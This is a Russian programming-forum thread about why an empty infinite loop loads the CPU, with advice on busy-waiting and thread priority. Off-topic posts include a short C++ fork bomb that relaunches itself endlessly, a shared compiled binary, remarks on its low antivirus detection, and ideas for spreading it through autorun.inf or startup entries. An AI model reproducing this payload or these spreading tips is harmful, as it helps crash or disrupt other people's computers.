Форум программистов, компьютерный форум CyberForum.ru

С++ для начинающих

Войти
Регистрация
Восстановить пароль
 
 
Рейтинг: Рейтинг темы: голосов - 20, средняя оценка - 4.75
Invader_Zim
Twilight Parasite
153 / 149 / 2
Регистрация: 21.07.2011
Сообщений: 907
#1

while(1); Процессор грузится на 50% - C++

30.07.2012, 13:07. Просмотров 2514. Ответов 38
Метки нет (Все метки)

По мнению диспетчера задач винды проц згрузиться на 50% прогой типа

C
1
2
3
int main(){
    while(1);
}
Это нормально или нет?
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
30.07.2012, 13:07     while(1); Процессор грузится на 50%
Посмотрите здесь:

Процессор NTVDM обнаружил недопустимую инструкцию C++
Процессор C++
Нагружается процессор C++
C++ Есть бесконечный цикл в программе и она поэтому занимает процессор, как это исправить?
Со слова процессор путем "вырезок" и "склеек" его букв получить слово рессор C++
C++ Как процессор работает с long long int ?
__asm вставки (процессор Pentium) C++
После регистрации реклама в сообщениях будет скрыта и будут доступны все возможности форума.
xADMIRALx
67 / 61 / 1
Регистрация: 09.06.2012
Сообщений: 291
30.07.2012, 14:21     while(1); Процессор грузится на 50% #21
soon,

Не по теме:

Все вирусописатели криворукии ?

cactus09
Чайник
69 / 69 / 4
Регистрация: 15.02.2012
Сообщений: 475
30.07.2012, 14:23     while(1); Процессор грузится на 50% #22
xADMIRALx,
soon, Пфф... это разве вирус это не вирус. Вот например если будед что то типо такого то это да система сразу глохнет
C++ (Qt)
1
2
3
4
5
6
7
#include <iostream>
 
int main()
{
  while(1){
  system("start Me.exe");}
}
Ну ясно что скомпилированный файл должен называтся Me.exe

Invader_Zim, Причем провел эксперемент место while использовал for
C++ (Qt)
1
2
3
4
int main()
{
  for(;;){}
}
также грусит на 25%

Не по теме:

И почему вы уважаемые xADMIRALx,soon, зделали меня главным виросописателем, главный виросописатель - Invader_Zim,

Invader_Zim
Twilight Parasite
153 / 149 / 2
Регистрация: 21.07.2011
Сообщений: 907
30.07.2012, 14:25  [ТС]     while(1); Процессор грузится на 50% #23
xADMIRALx, странно как-то. А второй поток создавался средствами буста или на прямую через вин апи?
xADMIRALx
67 / 61 / 1
Регистрация: 09.06.2012
Сообщений: 291
30.07.2012, 14:26     while(1); Процессор грузится на 50% #24

Не по теме:

cactus09, Страно пишет не может найти me.exe,что делать ?



Добавлено через 51 секунду
Invader_Zim,
#include <process.h>
#include <Windows.h>

Буст ? не не слышал
Invader_Zim
Twilight Parasite
153 / 149 / 2
Регистрация: 21.07.2011
Сообщений: 907
30.07.2012, 14:30  [ТС]     while(1); Процессор грузится на 50% #25
Как бы по теме: в первоначальной проге цикл нужен для отрисовки изображения с помощью glfw и опроса нажатия клавиш.
cactus09
Чайник
69 / 69 / 4
Регистрация: 15.02.2012
Сообщений: 475
30.07.2012, 14:31     while(1); Процессор грузится на 50% #26
xADMIRALx,

Не по теме:

Ты название скомпилированного экзншника смени на Me.exe или даже вот файл в архиве

Вложения
Тип файла: rar Me.rar (106.9 Кб, 10 просмотров)
xADMIRALx
67 / 61 / 1
Регистрация: 09.06.2012
Сообщений: 291
30.07.2012, 14:33     while(1); Процессор грузится на 50% #27
Invader_Zim, ну так используйте stl для вайта нажатия клавишы.ну а функции glfw (Я даж не знаю что эт такое)Наверника реализовавоны эффективно ))

cactus09,

Не по теме:

странно,опять открывается мое окно,что за фигня?Где вирус?

агерон
268 / 267 / 33
Регистрация: 12.10.2009
Сообщений: 1,054
30.07.2012, 14:39     while(1); Процессор грузится на 50% #28
мда... термин "активный цикл ожидания" кажеться никому не знаком.... и что это одна из самых больших проблем в псевдо реалтайм системах аналогичных Windows тоже....
cactus09
Чайник
69 / 69 / 4
Регистрация: 15.02.2012
Сообщений: 475
30.07.2012, 14:40     while(1); Процессор грузится на 50% #29
xADMIRALx,

Не по теме:

У тя винда? Если да, то странно ... , вообще должен открывать сам себя много много раз, а каждый открытый тоже открывать сам себя много много раз. Попробуй качни архив и из архива разархивируй и запусти

Invader_Zim
Twilight Parasite
153 / 149 / 2
Регистрация: 21.07.2011
Сообщений: 907
30.07.2012, 14:41  [ТС]     while(1); Процессор грузится на 50% #30
xADMIRALx, glfw основана на OpenGL. Имеет различные ништяки, но вот всю эту красоту нужно реализовывать через бесконечный цикл, при прогоне котрого иногда появляются тормоза
xADMIRALx
67 / 61 / 1
Регистрация: 09.06.2012
Сообщений: 291
30.07.2012, 14:44     while(1); Процессор грузится на 50% #31

Не по теме:

Комп завис,так и должно было быть ?



Добавлено через 1 минуту
Invader_Zim, Используйте потоки,приоритеты....
cactus09
Чайник
69 / 69 / 4
Регистрация: 15.02.2012
Сообщений: 475
30.07.2012, 14:52     while(1); Процессор грузится на 50% #32
xADMIRALx,

Не по теме:

Ну да... куча черных беспрерывно открываюшихся окошек, впринцепе безобидная штука зато использует бесконечный цикл на всю катушку и анти вирь ее не видит

xADMIRALx
30.07.2012, 14:55
  #33

Не по теме:

cactus09, да лан я трищал )) все ништяк только вот 1 из 40
https://www.virustotal.com/file/3373...is/1343645635/

cactus09
30.07.2012, 15:03
  #34

Не по теме:

1 из 40 это не очень страшно, вот если его запихнуть на флешку и создать на ней еше файлик autorun.inf (что б при подключении к компу он автом запускался) - тогда можно немножко попакостить


Не по теме:

Тока вот тема вирусов на форуме вроде как табу, и как бы мне теперь бан не получить

xADMIRALx
67 / 61 / 1
Регистрация: 09.06.2012
Сообщений: 291
30.07.2012, 15:05     while(1); Процессор грузится на 50% #35
cactus09,

Не по теме:

Мне кажется это сразу способ )) так как везде уже autorun = off,Ну покрайней мере в windows 8 по умолчанию отключенно...

cactus09
Чайник
69 / 69 / 4
Регистрация: 15.02.2012
Сообщений: 475
30.07.2012, 15:07     while(1); Процессор грузится на 50% #36
xADMIRALx,

Не по теме:

Жаль... , тогда можно добавить в автозагрузку

Jupiter
30.07.2012, 15:08
  #37
 Комментарий модератора 
Прекращаем оффтопить! На форуме есть ЛС, или создайте свою тему.
Invader_Zim
Twilight Parasite
153 / 149 / 2
Регистрация: 21.07.2011
Сообщений: 907
30.07.2012, 15:13  [ТС]     while(1); Процессор грузится на 50% #38
xADMIRALx, Кстати, а как приоритет изменить? какая функция меняет? или только ручками в диспетчере задач?
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
30.07.2012, 15:38     while(1); Процессор грузится на 50%
Еще ссылки по теме:

Реализовать структуру "Процессор" C++
Архитектура Фон Неймана: Как процессор различает команды и данные? C++
C++ Программа про пиликающий процессор
C++ Компиляция под 32 битный процессор
Иногда грузится процессор непонятно чем, как посмотреть чем грузится? Windows 7

Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
calculon
14 / 14 / 3
Регистрация: 18.07.2012
Сообщений: 79
30.07.2012, 15:38     while(1); Процессор грузится на 50% #39
Попробуйте воспользоваться SetThreadPriority (тут подробнее)
Yandex
Объявления
30.07.2012, 15:38     while(1); Процессор грузится на 50%
Ответ Создать тему
Опции темы

Текущее время: 06:59. Часовой пояс GMT +3.
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2017, vBulletin Solutions, Inc.
Рейтинг@Mail.ru